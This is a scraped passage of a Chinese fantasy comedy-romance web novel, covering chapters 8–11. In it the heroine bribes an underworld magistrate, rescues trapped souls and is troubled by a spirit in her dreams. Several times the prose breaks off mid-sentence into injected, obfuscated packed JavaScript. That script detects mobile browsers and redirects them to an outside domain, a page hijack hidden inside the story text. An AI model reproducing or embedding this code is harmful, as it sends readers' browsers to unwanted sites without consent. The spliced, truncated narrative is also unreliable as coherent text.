上了九级台阶进入其中,却原来与阳间的官府并无差异,两边墙壁上绘了各种地狱的景致,什么拔舌剜眼、刀山火海,倒是挺唬人,两厢整整齐齐站了两班鬼卒,个个青面獠牙,穷凶极恶,手中水火无情棍齐齐在地上戳得震天响,宫玄烛左瞧瞧右看看,发现这个配置跟玄都的大理寺差不多。 稍顷,左侧帘笼挑开,一只吊睛白额大虫从里面摇头尾巴晃地出来了。 宫玄烛震惊了,侧目还问牛头,没有一点儿身为罪犯的自觉:“这是你们十殿?” 牛头一激动容易扯嗓子喊,气得眼球快瞪出来了:“放肆!这是俺们的虎师爷!十殿能长这个倒霉德行吗?” 旁边窝在椅子上的老虎竖起了尾巴,磨牙凿凿。 宫玄烛紧拦着:“哎呦,牛鬼大人呐,小点声,不要咆哮公堂。” 正说着,左边帘子再次挑起,这次是一只白底红面兽头靴迈了出来,宫玄烛一抬眼,满眼都是刺目的红色,那迈步出来的人物身近九尺,着一身曳地红色朝服,衣上绣蟒张牙舞爪,腰横八宝玉带,冕旒冠前九簇玄珠半遮仪容,从容落于正座,满堂竟无丁点动静、落针可闻。 牛头立刻推搡了一把宫玄烛,意思是让她跪下,宫玄烛愣是八风不动,还在研究这位十殿。 8. 青天大老爷啊 十殿放在凡间是那种掷果盈车的美男子,鬓如刀裁、目若寒星,美则美矣,但是一副生人勿近之态,苍冷素指敲敲乌檀桌面,声音沉郁:“堂下何人?” 牛头连忙回答。 那位十殿打量了宫玄烛一回,开口仍旧漫不经心:“既然是探子,那就把耳朵削下来吧。” 宫玄烛闻言脸色惨白:“不要啊,割掉了耳朵我怎么戴口罩啊!” 这位十殿真的是空有其表,原来是个草菅人命的主儿,狗官!当真是个狗官!放在我们阳世间就该一人一口唾沫淹死,一人一脚踩死,死了也该照他的模样儿捏成小面人放油锅里炸了,卖三文钱一个。 十殿眉头轻挑,靠着椅背,侧目看向旁边的虎师爷:“她心里在想什么?” 吊睛白额大虫开口吐人言,一五一十说了一遍,居然还添油加醋:“哎呦额的十殿啊!介娘们可不像好人呐!她搁心里咒您呢,哎呦那个词老歹毒了,她说您办案发昏,咒您回家发疯,还说您脑袋像面瓜,鬼见愁棺材脸,死了三百年没人要,走一步一掉渣,老黄瓜刷绿漆你装嫩,水仙不开花搁上边装蒜——” “你个孽畜!”宫玄烛见势不妙连忙打断,差点没给上边那位爷跪下,两眼发黑,哭天抢地:“青天大老爷啊,百姓的父母官,它毁谤我呀!小的对您那是仰慕崇拜至极,何曾有过半分非议?殿君明鉴啊,切勿听信小人谗言残害忠良啊!” “哦?”十殿微微坐直身子,“这么说来,姑娘对本君倒是一片赤忱了?” 宫玄烛指天誓日:“小人若有半句虚言,就让我师父这辈子都讨不到媳妇,打一辈子光棍儿!” 十殿微微一扬手,牛头带着两班鬼卒悄悄退了出去,那虎师爷犹四平八稳坐着,跟大爷一样,十殿微微轻哼一声,那畜牲臊眉耷眼,垂着尾巴扭出堂去。 考弊司内便只剩他二人,宫玄烛自是不怕的,既然一开始没有治她死罪,那就有的聊,再者说了,无商不奸无官不贪,真金白银往上一堆,啥事都好办。 她心里打定主意,只等着那位贪官发话。 十殿却默然半晌,从容起身,缓缓步下三级台阶,在铺设软毯的地上踱步,额前九旒珠子却只小幅地摆动,他背负双手绕到了宫玄烛身后,宫玄烛未曾转身,只觉身后似有两道寒光对着自己,浑身不自在,如同架在火上烤一般。 “姑娘只身前来冥界,不知所为何事?” 宫玄烛这才回过神来,微微拱手,半真半假地道:“原是师门中一小师妹前几日外出,撞了阴客,如今阳魂离体,活死人一般,师门特派在下前来寻觅,在下素知殿君宽厚仁慈,若知此事必然秉公处理,可惜无有门路,难达天听,不曾想阴差阳错让在下见到了殿君,还望殿君垂怜,小人感激不尽。” 那十殿半晌没言语,两点赤瞳微微涣散,看似在瞧宫玄烛,实则又在神游天外。 宫玄烛等了半晌又忍不住问道:“殿君?” “嗯?”那十殿似是如梦初醒,“你方才说什么?” 敢情我说了这么半天,天花乱坠,嘴皮子都快磨破了您是一个字没听是吗? 老天爷,一个雷劈碎了他吧! 宫玄烛忍气吞声,叭叭地又说了一遍,将十殿捧得天上难找地下难寻,别说十殿听着脑袋发昏了,就是吃斋念佛的老僧听了也受用。 事实证明这天底下有不吃马肉的,但没不吃马屁的。 那十殿摆摆手:“小事一桩,姑娘何不早说,既是冤假错案本君自当妥善处理。” 宫玄烛连忙将袖中一鼓鼓囊囊的锦袋摸出,双手奉上:“一点薄礼还望殿君笑纳,千里送鹅毛礼轻情意重,小人自知殿君两袖清风断然不肯收受,只当是成全小人一片景仰之心。” 那十殿不知为何,似笑非笑,也不收礼,也不拒绝,只定定看着宫玄烛,然后逐步靠近,宫玄烛饶是八面玲珑也有些左支右绌,被逼得连连后退,脊背靠上了蟠龙柱。 那人欺身压下,冕旒冠前的珠帘几乎打到宫玄烛鼻尖,冰冷的呼吸喷洒在她脸上,在宫玄烛怔愣的目光中,他缓缓掀开眼前遮挡的珠帘玉幕,露出一双含笑的狐狸眼,沉声幽幽道:“有劳少祭司费心,可惜,本君不贪财——” 殷红的薄唇却凑到了她耳畔,缱绻悱恻:“只好色……” 始料未及,宫玄烛有些转不过弯了。 正在此时,只听外面一声虎啸,那位十殿脸色一僵,疾步出了考弊司。 宫玄烛后脚跟上,远远在柱子后面听了几句,捕捉到几个关键词,化羽期修士、孽镜台、阵法…… 几个词串联不出具体的故事,那十殿匆匆离去,看来是被别的事绊住了。 那虎师爷就是十殿的一条狗,颠颠地想跟去,似是被主子拒绝了,窝在考弊司门口,一只老虎居然能露出深闺怨妇的神态。 宫玄烛将本来要贿赂冥界二把手的一袋六界通宝倒出一半儿来收下,另一半儿给了牛鬼,又是吹嘘又是夸赞,一人一鬼不到半晌称兄道妹,在考弊司附近的小酒馆喝了个酩酊大醉,宫玄烛装模作样许久,撑着脑袋醒来晃晃牛鬼的胳膊:“牛兄?牛兄?” 连推带晃眼睫毛也不带眨一下的,呼噜震天响,很好,现在就算削他一片腱子肉下来炒下酒菜,牛鬼都会慷慨解囊。 宫玄烛倒不会下此毒手,只单单拿走了它腰间的一串骷髅头钥匙并一块鬼差令牌,丢了两个囚犯,事后那位隔色儿的十殿自然会扒了牛鬼的皮,这就叫借刀杀牛。 一把把试错,终于打开了牢门,那小姑娘却不肯跟着一起走,无奈只好道:“其实是你的一位好友托我来找你的……” 成功说动她加入还阳小分队,这叫善意的谎言。 没错,咱牛兄今日有急事,托我代他值班嘛,你问什么事?嗯,发现孩子不是自个亲生的吧。对此我深表同情,牛兄也算是为咱们地府的生态环保事业添砖加瓦了。 出了枉死城,路过地府4A级景区望乡台,身边这位小朋友忽然走不动道了,站在上面望着一个地方,宫玄烛催也不是、等也不是,急得团团转:“好妹妹,咱下次再参观行不行?十万火急啊,逃命呢,我这鬼差身份是暂借的……你怎么哭了?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宫玄烛故作长叹:“先前遇见神仙打架,一时好奇多看了两眼,谁知醒来就在这个地方了,和我小师妹也走散了,万幸遇上了兄台。” 白衣公子淡淡一笑:“原来如此,不知姑娘的师妹是何模样?” 宫玄烛连忙将陌菱的模样大概描述了一遍,那白衣公子点点头,闭目沉思了一会儿,指尖白光莹莹,化作一只近乎透明的蝴蝶翩翩舞于三人身侧。 “它会带你找到想找之人。” “真是多谢兄台了,小妹还有急事在身,改日定好好答谢,对了,还未请教兄台尊姓大名。” 那人启唇,淡淡道:“沐灵。” 人如其名啊。 宫玄烛再谢离去,跟着翩跹玉蝶一路往东,出了城楼,周围景致布局不太符合常理,玉蝶飞过的地方看似是墙壁、悬崖,实则可以通行,也怪不得之前会迷路。 两人跟着玉蝶一路前行,返回了之前的曼珠沙华花海,忘川水潺潺流淌,宫玄烛心中一颗大石头落下去一半。 玉蝶扑闪两下翅膀渐渐消失,小姑娘有些着急,宫玄烛却看向了一个地方,那里有人,且不止一个。 她带着小姑娘迅速往花海中央赶去,那里是一片湖泊,水里倒映着天上一轮血月和岸边的彼岸花,水光泛着瑰丽的绯红色,仿佛湖里泡着一只血淋淋的眼珠子,诡异至极。 宫玄烛想到了四个字——镜花水月。 湖边有三个人,尹星灯、林瑶、陌菱。 9. 莫欺少年穷 林瑶浑身湿漉漉晕倒在尹星灯怀里,陌菱那魂魄离体五日早已虚弱不堪,也是倒在花田里昏迷不醒,曼珠沙华缠绕在她身上吸食着她的魂力,陌菱的身子渐渐透明,宫玄烛急忙用辟邪魂灯逼退了几株宛如毒蛇的花枝。 尹星灯冷着脸,一手紧紧握着林瑶的手给她输送灵力,冷声喝止宫玄烛:“不用管她!我没有这样的徒弟!” 宫玄烛不明所以,尹星灯道:“此处为六界灵气交汇之所,镜花水月之地,可互换命运,” 尹星灯眸光如刀,仿佛恨不得将陌菱千刀万剐:“她引诱瑶儿至此,狼子野心昭然若揭,我现在怀疑,她这魂魄离体恐怕也是自导自演,算准了瑶儿一定会来找她,好成功夺取她的身份,取而代之。” 宫玄烛好歹等他说完,问道:“您亲眼所见,亲耳所闻?” 尹星灯不容置疑:“事实摆在眼前,她与瑶儿一起落于湖中,魂魄交融,幸亏为师及时赶到。” 宫玄烛翻了个白眼:“师父,这两位目前都人事不省,您这案子断的,仅凭想象啊?好歹问一下当事人啊。” 尹星灯冷哼,看陌菱一眼都觉得厌恶:“有何可问的,那孽徒只会装模作样抹眼泪,瑶儿也只会包庇她。” 宫玄烛烦躁至极,要不是为了继承星辰宫她早撂挑子了,奶奶个爪,这到底是仙宫还是后宫啊?天天夹在这三个人中间不够受气的!偏心眼师父、圣母大师姐、怨妇小师妹,天天搞事,我是来修仙了是来当冤家了? 真是,钱难挣屎难吃,在你家当学生比当老妈子还累。 为今之计也只有将全部希望寄托于阎王,只要尹星灯这老登早点驾鹤西去,那么世间一切冤孽都会迎刃而解,我这两姊妹花没了男人可抢,应该也能握手言和、举案齐眉啊。 可是这老登的命比甲鱼的都长,有心送他一程吧,一来实力不够弄不好让他给我超度了,二来弑师这事儿吧在咱这个洲不合法。 熬鹰似的熬了五天了,宫玄烛现在的怨气比鬼还重,良言相劝道:“师父,要不咱先回去吧,发昏当不了死,就算她们两姐妹真的回天乏术了,咱也该回去置办棺木好生送下来才是,” 五天没合眼,她现在有些精神错乱,滔滔不绝把心里话抖了出来,口若悬河展望未来,“您要是实在难舍难分,大师姐那口棺材咱可以做成双层的!你们虽然不是同年同月同日生,但也可同年同月同日死,说不定投胎都在一起,当然机遇都把握在你手里,投的早你能看着她长大,她给你养老送终;投的迟你们那是姐弟相称、其乐融融;不早不晚正好指腹为婚——” “死丫头可是活腻了!” 尹星灯眸中迸出火星子来,被孽徒气了个仰倒,若不是怀中还有个林瑶当真能当场清理门户。 宫玄烛自然是算准了这层才敢口出狂言,况且说的也正中尹星灯下怀,若林瑶真有个三长两短,他是断无独活的。因此上虽然言语失了分寸,却并不为尹星灯厌恶,反而喜爱她的娇憨率真,每每佯装怒意,禁不住三句又被小徒逗得泄了火。 宫玄烛又道:“强龙还不压地头蛇,待会儿冥界那一群打上来,先说好,弟子那是半点指望不上,只求师父大显神通了。” 尹星灯瞪她一眼开了阵法:“为师现在懒得跟你饶舌,回去自然有你好果子吃。”复又抱起了林瑶先一步踏入阵中。 宫玄烛抱起陌菱,携着顺路搭救的小姑娘一起蹭阵法回转人界,谁知眼前蓦然一黑,仿佛朦胧中被谁打了一闷棍似的,眼前又似是一片血红颜色,冷不防又瞧见了那位枉死城的十殿,风月缱绻的眸子近在眼前,似笑非笑、顾盼神飞,竟是能把人的魂勾走。 直到背后一阵闷痛,宫玄烛连连咳嗽几声,只咳得抖肠搜肺,险些把心呕出来,展眼一看方认清已经回到星辰宫了,这边尹星灯淡然道:“适才可是魇住了?为师好心救你,瞪我作甚?” 您好悬没一巴掌拍死我!抢白你两句至于下这个死手? 尹星灯只顾着照料林瑶,自是无暇顾及陌菱,宫玄烛着人照拂着,抬脚就往外面走,尹星灯对她到底还有一点师父样子,虽然刻薄歹毒了些,暂且不提。 “才回来不久,不说好生歇着,又要去哪里撒欢惹祸?” 气得宫玄烛咬牙切齿,深呼吸几下回眸一笑:“不了吧,我这老胳膊老腿,还是多活动些的好,省得坐着生锈了。” 说罢熟练地一低头躲过了照面门飞来的茶盏,砰——那身后的小姑娘却被殃及,可怜一个瘦瘦弱弱的孩子,尚且是魂魄形态,这一下结结实实砸在脑门上,当时厥了过去。 宫玄烛连忙袖了这虚弱的魂魄,急急往槐荫镇赶去,又恐脚程太慢,顺手拐了师父的商羊,一飞冲天,不到片时落在了红线坊门口,连声叩了三下门,里面的人噔噔噔下楼,正是钟诗琼,宫玄烛连忙拱手:“钟老板,来不及细说先带我上楼去!” “好!” 钟老板也是见过大世面的,一句废话也没有,宫玄烛暗暗点头称赞,这姑娘能处。 二楼卧房里,先前那碧衣女郎坐在地上哭得声咽气噎、两眼红得如同兔子一般。 宫玄烛前前后后忙活一阵,好歹将那小姑娘的魂魄送还本体,待到黎明时分,头遍鸡叫,这人才悠悠转醒,那碧衣女郎又惊又喜,哭得红肿的双眼又滚出几行眼泪,原先听宫玄烛说好友还可转醒,心里是不大信的,以为钟诗琼病急乱投医找了个坑蒙拐骗的神棍进来,谁知竟然真的好了,来不及答谢急忙抱住了好友,口称“纤茉”不止,那边回过神也是泪如雨下,含混着叫着“苏苏”,一个是死而复生、一个又失而复得,两姐妹哭作一团。 钟诗琼随宫玄烛一起下楼,掩上房门仍然听得里面抽抽噎噎之声,两个不知哭了多久这才止住,絮絮叨叨又说了起来。 宫玄烛便向钟诗琼打听底细。 原来上吊自尽那个叫楚纤茉,早年家道中落,父母为谋生出门在外,把他姊妹三个交给祖母胞弟照管,这祖母一则年迈,二则也有些偏心,喜长孙女冰雪灵巧,喜长孙是个男孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宫玄烛往楼上瞧了一眼,眉头微蹙:“那如今她又当如何?彻夜不归还能好了?” 正逢那苏潋影推门下楼,轻声应道:“就说是在我家住下了,等纤茉休息好了,我陪她一起回去,我就不信楚老太连我一起骂。” 钟诗琼轻轻一笑,苦涩无比:“傻丫头,你也不能总是不着家,人前自没有什么,人后还不知怎么样呢,可怜纤茉这孩子,前世究竟造的什么孽,竟命苦至此。” 宫玄烛思索再三画了张灵符交给苏潋影:“好歹叫她戴着防身,躲过这一时之祸,再好生解劝,无论如何不能再走那绝路,岂不知天将降大任于斯人也,必先苦其心志、劳其筋骨、饿其体肤?君子无时且耐时,她年纪尚小,日后有出头之日尚未可知。” 钟诗琼、苏潋影二人皆以为然。 等天亮以后,钟诗琼去纸扎店里拿了一套纸嫁衣,雪衣棠花,美轮美奂,她一眼就看中了那华美的昙花云肩,可是不知道那位冷艳清逸的白衣新娘叫什么名字,她和宫玄烛只能在城隍庙里边烧边祷告。 “新娘姐姐,不知道你的芳名,昨夜多亏你相救了,小妹无以为报,一点心意还望笑纳。” 宫玄烛忽然想起来一个名字,忙在信中写了,一并烧掉,二人再拜起身。 “此间无事,我也该回去了,钟老板,有缘再会。” “姑娘若来,我必扫榻相迎。” 商羊轻轻展翅,屈起一只脚在石桌上翩翩起舞,这一人一鸟离开后,不一会儿大雨倾盆而至。 10. 阴风快递,送啥都快 冥界,离恨城。 沐灵正批改公文,有人来报。 “君上,有您的信件和东西,从忘川上游来的。” (叮~阴风快递提醒您,您的快递已送达,阴风快递送啥都快!) 沐灵搁下笔道:“何人所寄?” 那阴差道:“回君上,一个是槐荫人士,叫钟诗琼,另一个叫宫玄烛,帝都的少祭司。” 沐灵压根没听说过这两个名字,以为是鬼差弄错了,刚摆摆手想让他下去,转念又一想,把东西留下了,一打开是一件美轮美奂的白嫁衣,人间的手艺,巧夺天工。 人间的物品是很珍稀的,有亲人在世的鬼每逢佳节都可以收到子孙后代的供奉,在阴间也算过得滋润,还能收到家书。 可沐灵他,无亲人在世,唯一的儿子也在那场战乱中不知所踪,见到人间的物品不由得麻木许久。 那些记忆其实已经很模糊了,他想起了初升的朝阳,天边金灿灿的霞光,炊烟袅袅,那粗瓷碗里滚烫的米粥究竟是什么味道……冷是什么感觉?热是什么感觉?他不会有食欲,每次到腹中绞痛之时才知道该吃饭了,然而也不过是阴仆将饭菜摆上来,他嗅着飘渺的白烟就算完了。 赌书消得泼茶香,当时只道是寻常。 如今,再怀念也回不去。 “轻尘,你看漂亮吗?是你人间那两个小朋友送的。” 他跟白衣新娘二人躺在白纱曼曼的石床上,他伸手抱住她,看着她眼前白绫下微微渗出的血迹轻叹一声,“你睡着了吗?就是醒着你大概也不会跟我说话的,轻尘,如今我们都已经这样了,就别再去管别人的闲事了吧,万一你再出点什么事,我真的想不出,我该怎么过下去了……” 新娘动了动转过了身,僵硬地抬起手臂,沐灵将脸贴在她手心里,闭上了眼睛:“我没有在怪你,我只是怕了,我怕你……又先我一步,答应我,哪怕以后要魂飞魄散,我们也要在一起。” “你还记得以前的事吗?不记得了也没关系,我是永远不会忘的。” 新娘没有动,静静保持着之前的姿势。 沐灵没想到槐荫镇一别竟是人间长别,下一次相见居然是在阴世,双双死于非命,白烛磷火,何其悲苍。 他早已不会流泪,见她模样却双眼滴血,怨恨天地不公。想她青春年少,如花美眷,却一载枉断了性命,焉能不心如刀割? …… 宫玄烛回到星辰宫,先将商羊悄悄放回金殿里,还打量尹星灯不知道呢,喜滋滋回了自己的院子,见一黑漆漆的影子坐在廊檐下,有心逗他:“谁家狗蹲这儿了?” 林夕抬眼一瞧,面上竟有些闷闷不乐,但是站了起来请她进屋,宫玄烛倒有些不好意思了。 “姐姐,你这几日都去哪里了?” “去你老家一趟,但是走得急忘了给你带点土特产。” 林夕一时没反应过来,半晌才惊乍起来:“那姐姐可有受伤?” 宫玄烛在他面前转个圈圈,意思是自己全胳膊全腿,并无大碍,刚坐下林夕就倒了茶递过来,宫玄烛抿了一口深为受用,小伙挺会来事啊,又忍不住逗道:“你说你就这么不明不白跟着我,也不是个了局,不如我收你做徒弟如何?” 林夕这孩子逗起来极容易害羞,今日却并没有,出乎宫玄烛意料之外,安静半晌才道:“姐姐又在开玩笑了,收徒之事岂有不禀报国师的,国师知我身份岂能容我……” 一提起国师宫玄烛差点跳起来,直喊糟糕,一溜烟往陌菱那屋子里跑,却不见她人影,登时吓出一身冷汗,询问了几个守卫才知陌菱醒后尹星灯并没有为难她,想来是林瑶拦住了。 宫玄烛真觉得自己是个操心的命,摇摇头走出门去,想去后山散散心,却又看到一个红衣身影坐在秋千架上,衣袂飘飘、风流袅娜,她背对着宫玄烛,却轻笑道:“这个时候,也只有你会来找我了。” 宫玄烛驻足不前,不知该答些什么,只好问道:“身子可好些了?” 那人正是陌菱,一头乌发随意垂散着,一根红色发带要落不落地勾在发梢,秋千架随着她的动作轻轻晃动,闻言冷笑一声:“好又如何,不好又如何?你也不必劝我,左右我不会感激你,左右我是个没有心的人。” 宫玄烛眼睛微眯,审视着不远处的陌菱,在她身后缓缓踱步,声音极轻却能轻易传入对方耳中。 “阳魂离体,看似冒险实则只要天时地利人和,虽险象环生,但只要布局得当却也可全身而退,槐荫镇荒宅娶亲、妖孽鬼魂作祟,故意拖延我的时间,” 宫玄烛心下烦乱,又叹道:“陌菱,你既然千方百计把林瑶引去了镜花水月之地,怎的又忽然停手了?” 陌菱幽幽叹道:“是国师来的太快了。” “是吗?”宫玄烛紧追不舍,“还是你没料到,林瑶真的会寻你而来?心甘情愿与你换命?” “那本是她欠我的。”陌菱的语气波澜不惊,又轻笑道:“你也不必如此激我,你所执的不过是人性本善,可我就是天生的恶人,我身上有你看不到的恶,它们早已融入了我的血液里,回去吧,不要试图拉我走出黑暗,我只会带你一起堕入深渊。” 宫玄烛近前一步:“若我偏要留下呢?” 陌菱幽幽笑道:“阿烛,你真的会为我留下吗?”她轻轻侧过脸,那半张脸美得惊心动魄,没有林瑶的孤标傲世,有的全是风流妩媚,“你可知,那个清明出生的小姑娘,也是我蛊惑的,如果你们不上当,我也可重新借尸还魂,鸠占鹊巢。” 在宫玄烛惊愕的目光中,她自嘲道:“这样,你还想为我留下吗?为我这样的人?” …… 宫玄烛恍恍惚惚,乘着月色回了自己的屋子,脑海里满是陌菱那句话。 人性本恶,是啊,有的人的的确确是恶,可他们往往是缺少教化,不识文断字,难以讲通道理,这是小恶也是最低劣的市井小人做派;次者就是为臣不忠,肚腹之中空有墨水,枉读圣贤书,只为牟取名利横征暴敛鱼肉百姓,此为大奸大恶;再后便是伪君子真小人,嘴甜心苦、笑里藏刀,这种人往往意识不到自己的罪恶,惯将自己放在最高点,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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嘴唇被一片冰冷贴上,她极力控制着自己熟睡中的躯体,不知用了多大的力气才侧了头,冰冷的触感便落在了脖颈上,一路向下,身体突然一沉,仿佛被什么压住了,呼吸都有些困难。 她能清晰地感觉到,自己身上的衣服被人一件件地剥离…… 她用了死力气,狠狠地咬了一下自己的舌头,血腥味顺着喉管滑下时终于醒了过来,侧目一看,沙漏定格在子时。 她起了一身的汗,急忙摸了一下自己的衣服,都还在…… 这叫个什么事?玩了半辈子鹰到头来让家雀叨了眼睛?说出去她宫玄烛真是没脸见人了。 不过到底是什么样的鬼,居然敢如此明目张胆地招惹她?用的手段也着实……下作! 她心神恍惚,刚开门就撞进了林夕怀里,孩子瞪着一双星星眼仿佛被人施了定身法,脸以肉眼可见的速度红了? 宫玄烛下意识地低头看了看自己的穿着,衣服裤子都没落家里啊……脸上一阵凉风拂过,宫玄烛眼眶湿润了,面纱忘记戴了,凹了这么久的神秘感,全没了! 林夕磕磕绊绊道:“少祭司……你醒得好早……可是饿了?我这就去做夜宵……” 宫玄烛没心吃什么夜宵,脑海中全是缠绵悱恻的梦境,但她分得清楚,这绝对不是自己走火入魔、道心紊乱,而是有邪祟侵扰之故,思索再三连忙整理仪容去敲了尹星灯的房门。 11. 师父,我让人睡了 尹星灯正在打坐,听见有人叩门,这么急躁的频率一听就是那不省心的二徒弟,还没开口让进,那人已经进来了,门也不关,一股风扑到他身边坐下,一脸憔悴:“师父……我让人给睡了。” 尹星灯一口茶喷出来了:“谁这么想不开,等会,你该不会想让我给人赔钱吧?” 宫玄烛恨疯了,若不是现在有求于人真的能当场给他送终:“我都这样了,您做个人好吗?” 尹星灯嘴上虽然玩笑,但也在留心观察宫玄烛脸色,不禁咂舌:“这仔细一看还真是……好悬没把你内胆吸出来,看你这伤势对方得是个□□啊。” 宫玄烛:“师父,我都连续三天没睡觉了,我今晚能不能待你旁边啊?拿您这张宝相庄严的脸震慑一下那个恶魔。” 尹星灯一点也不惯孩子:“滚!” 宫玄烛泫然欲泣,尹星灯眉头微蹙:“哭得太假了。” 宫玄烛悄悄拧了一把自个儿的大腿,霎时间泪如雨下:“师父,以往都是弟子不好,弟子年纪小,只知道说不知道轻重,如今师父不救我,我还能求谁去……” 眼泪攻势伴着软语攻击,双管齐下,尹星灯终于缴械投降了:“罢了罢了,莫要再喧哗。” 宫玄烛“哦”了一声,果然收住了眼泪,心中暗叹,果然是撒娇的女人最好命。 尹星灯在旁边看书,不禁看向了睡着的徒弟,虽然平时咋咋呼呼,但睡着了意外地乖巧,他隐匿了自己的神识果然感觉到院子里有东西在接近。 尹星灯布下阵法保护宫玄烛,追逐着那人跑出了房间,翻身跃上屋檐、月光照射下道袍之上星纹明灭流转,清癯身影恍若一道流光,夜色如墨,那人隐匿在一团雾气里,阴风扑面而来。 尹星灯一抖袍袖,掀起罡风阵阵:“来者何人!居然敢在星辰宫胡作非为!” 那团黑雾中传出一个声音,不男不女,一会儿苍老一会儿又稚嫩,诡异至极。 “尹仙师,离开星辰宫这么远,您就不担心自己的徒弟吗?” “玄烛!” “哈哈哈哈哈哈!”黑雾爆发出一阵刺耳的狂笑,顷刻间随风而散。 尹星灯连忙往回赶,推开房门就看见宫玄烛脸色苍白、满头大汗,脸上满是恐惧与挣扎,嘴里梦呓不断。 “滚开……滚啊!放开我……” “玄烛!快醒醒!” 尹星灯半抱着宫玄烛,握紧她的手,白莹莹的光芒笼罩在二人身上,宫玄烛终于睁开了眼睛,定神看着眼前的人突然泪如雨下,翻身起来双手捂住了脸,尹星灯拍了拍她汗湿一片的后背,轻声安抚道:“没事了没事了……” 看着素日无法无天的徒弟被吓成这模样,有如惊弓之鸟,说不心疼是假的,尹星灯一直半抱着她未曾松手。 宫玄烛到底脸皮厚,安静下来后咬牙切齿道:“要是让我抓住,我一定亲手废了他!” 尹星灯点点头,想了想,轻声道:“商羊再借你玩几天,不过要记得喂它甘露。” 宫玄烛转悲为喜,抬眸看向他:“人家忙得脚不沾地、日理万机,哪有时间采集清晨的花露……” 尹星灯面露难色,好久才松口:“那,井水也行。” 宫玄烛管他那个!有的喝就行! 尹星灯见她翻身起来就走,紧忙拦着:“玄烛,商羊上次回来不知怎的掉了好多毛,你一定要记得照顾好它。” 宫玄烛摆摆手踱步出门:“晓得了!我你还不放心?” 回到自己的小院子就发现林夕不怎么理她了,怎么回事? 孩子目含幽怨:“你昨晚为何不回来?” 宫玄烛:“有点事耽搁了。” 林夕转身就走。 宫玄烛急忙上前几步拦住他:“我是有事找师父商量,你这孩子什么回事?犯得着为这个生气?” 林夕扭过头去:“我不是生气……” 宫玄烛往上凑凑,又开始满嘴跑火车:“那不如我带你出去散散心,你看你这脸色苍白的,都赶上白凉粉了……”刚说到这儿忽然惊呼一声,“呀,对不起我忘了一件事,你这形态可不能轻易被太阳晒着,容易化为一缕青烟扶摇直上九万里。” 林夕知她是故意逗闷子,也不给她继续拿自己取乐的机会,转身就往屋里走去,宫玄烛在后面紧随着,忽然想起一件事,语气也严肃起来了:“对了,你是怎么死的?年纪轻轻就变成这副模样,又不去投胎,成天飘着也不是个事啊。” 林夕白了她一眼,兀自坐下,茶壶缓缓飘了起来,斟了两杯茶水,用实际行动告诉她,他才不是什么弱小的魂魄,能够自主控制灵体! 宫玄烛也坐下,从善如流地捻起一只素白茶盏,浅酌一口。庭院外梨花如雪,纷纷摇落,轩室静雅,檀香缭绕,在梦中似乎也有这么一个人与她闲庭对坐,煮酒烹茶。 林夕忽然道:“意外罢了,我不想提。” 宫玄烛也就是随口一问,本以为这么冒昧的问题对方不会搭理,没想到得到的却是这么一个答案。 “那你在阳间还有亲人吗?” 林夕看了她两眼,淡声道:“有吧。” 宫玄烛奇道:“有就有,没有就没有,有吧是个什么鬼?” 林夕脸色一沉:“我有个师尊,但她根本不在意我的死活,你满意了?” 林夕今天很不对劲,似乎格外暴躁,之前明明一口一个“姐姐”叫得蜜里调油,现在却无端给她硬钉子吃,很不对劲啊。 宫玄烛深知林夕这孩子性格古怪,于是不再过多追问,看时间尚早,溜溜达达去了户部一趟,本来打算领了这个月的俸禄之后请林夕吃个饭的,谁知却得知一个惊人的消息。 那小吏闲得发慌,四仰八叉躺在藤椅上,账本盖在脸上假寐,听到宫玄烛的声音打着哈欠道:“少祭司啊,如果是领俸禄的话建议明年此时再来吧。” 宫玄烛半晌才反映过来:“怎么,国库是亏空了嘛?还是陛下又选秀了?” 小吏吓得差点从椅子上滚下来:“哎呦阿弥陀佛!我的天老爷啊,少祭司,您还嫌篓子捅得不够大吗?妄议圣上,这罪过可轻可重,但凡谏议大夫一个看不惯参您一本,您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489944|185807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脖子上这吃饭的家伙还要不要了?” 宫玄烛一听急得上火:“脑袋的事不提,你先说说我的钱是怎么回事?凭什么扣我月银!” 小吏目光有些鄙夷:“还提呢?您自己做的好事这就抛之脑后了?璇玑殿怎么没的?” 宫玄烛不说话了。 那小吏趾高气昂道:“陛下说了,您的月银要扣到明年中秋。” 宫玄烛义愤填膺:“这哪是扣我钱,分明是要我命!我现在看着是一个人,其实是两人!我养活两个人容易吗?” 小吏听闻此言吓一跳,脚底一滑帽子都歪了,连忙双手扶住,目光呆滞地看向宫玄烛的小腹:“不是,少祭司,什么时候的事啊?陛下的还是国师的?” 这回轮到宫玄烛无语了,但林夕的存在不宜太多人知道,只能缄口不语,噎了半晌道:“一人一半吧。” “一人一半?” 直到宫玄烛怒气冲冲地离开,瞠目结舌的小吏才扯着嗓子惊呼一声,惊得庭中鸟雀乱飞! “哎呦少祭司!您慢着点啊!当心动了胎气!别伤了陛下和国师的孩子!您这架势不会是要回去堕胎吧?” 宫玄烛暗气暗憋,再次回到离梦阁已经月上柳梢头,小屋里点了灯,安静异常。 她推门进去,墙角立着一道颀长的身影,如一杆修竹。 林夕听见脚步声几乎同一时间回首,四目相撞的那一刹那,宫玄烛又找到了那种熟悉的感觉,但就在她企图抓住的时候这种感觉转瞬即逝,再看林夕时又觉得他无比的陌生,他的眉眼很是英气,鼻梁高挺,嘴唇不薄不厚,单看他的五官,每一件都很出色,可是纵观全局,林夕此人却又平庸至极,乃至于丢人堆里恐怕就找不到了。 